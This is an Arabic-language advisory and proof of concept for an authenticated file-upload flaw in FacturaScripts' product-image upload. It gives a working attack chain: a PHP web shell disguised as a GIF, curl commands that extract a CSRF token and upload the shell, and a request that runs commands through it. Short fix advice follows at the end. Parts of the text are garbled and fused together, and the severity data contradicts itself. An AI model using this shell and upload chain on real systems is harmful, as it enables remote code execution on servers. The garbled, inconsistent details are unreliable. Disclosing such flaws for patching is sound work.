
# استغلال تنفيذ الأكواد عن بُعد في FacturaScripts - إثبات المفهوم
توجد ثغرة رفع ملفات غير مقيدة بعد المصادقة في وظيفة رفع صور المنتجات في FacturaScripts. يمكن للمهاجم الذي يمتلك بيانات اعتماد صالحة رفع ملف PHP متنكراً كصورة GIF (باستخدام ترويسة GIF89a)، متجاوزاً بذلك التحقق من نوع MIME. يتم تخزين الملف بامتداده الأصلي، بما في ذلك الامتدادات القابلة للتنفيذ مثل .php.
توجد الثغرة في:
Core/Lib/ExtendedController/ProductImagesTrait.php
وتحديداً في الدالة addImageAction().
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
Tools::log()->error('file-not-supported');
continue;
}
$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());
"image/"image/gif.php في دليل يمكن الوصول إليه عبر الويبيتم تخزين الملفات المرفوعة في:
/MyFiles/YYYY/MM/X.php
حيث X هو معرّف تلقائي التزايد. وهذا يسمح بالتنفيذ المباشر عن بُعد:
http://target/MyFiles/2026/03/2.php?cmd=id
الاستغلال الناجح يسمح بما يلي:
يمكن للمهاجم رفع ملفات بامتدادات قابلة للتنفيذ (مثل .php) إلى الخادم، مما قد يؤدي إلى استغلال إضافي اعتماداً على إعدادات الخادم.
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF
PHPSESSID من ملفات تعريف الارتباط في المتصفحcurl -s "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
| grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4
curl -X POST "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
-F "multireqtoken=YOUR_CSRF_TOKEN" \
-F "action=add-image" \
-F "activetab=EditProductoImagen" \
-F "idproducto=3" \
-F "newfiles[][email protected]"
curl "http://target/MyFiles/2026/03/2.php?cmd=id"
المتجه: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
النتيجة الأساسية: 6.3 (متوسطة)
| المقياس | القيمة |
|---|---|
| متجه الهجوم | شبكة (AV:N) |
| تعقيد الهجوم | منخفض (AC:L) |
| الامتيازات المطلوبة | منخفضة (PR:L) |
| تفاعل المستخدم | لا شيء (UI:N) |
| النطاق | متغير (S:C) |
| السرية | عالية (C:H) |
| التكامل | عالية (I:H) |
| التوفر | عالية (A:H) |
| الحقل | القيمة |
|---|---|
| النظام البيئي | Packagist |
| معرّف CVE | CVE-2026-42879 |
| اسم الحزمة | facturascripts/facturascripts |
| الإصدارات المتأثرة | <= 2025.81 |
| الإصدارات المصححة | لم يتم التصحيح بعد |
| تم الإصلاح في | قيد الانتظار |
.php أو .phtml أو .phar أو أي امتدادات قابلة للتنفيذ أخرى، بغض النظر عن نوع MIMEgetClientOriginalName()؛ قم بتعيين اسم آمن قائم على UUID مع امتداد تم التحقق منهfileinfo بدلاً من الثقة بنوع MIME المقدم من العميل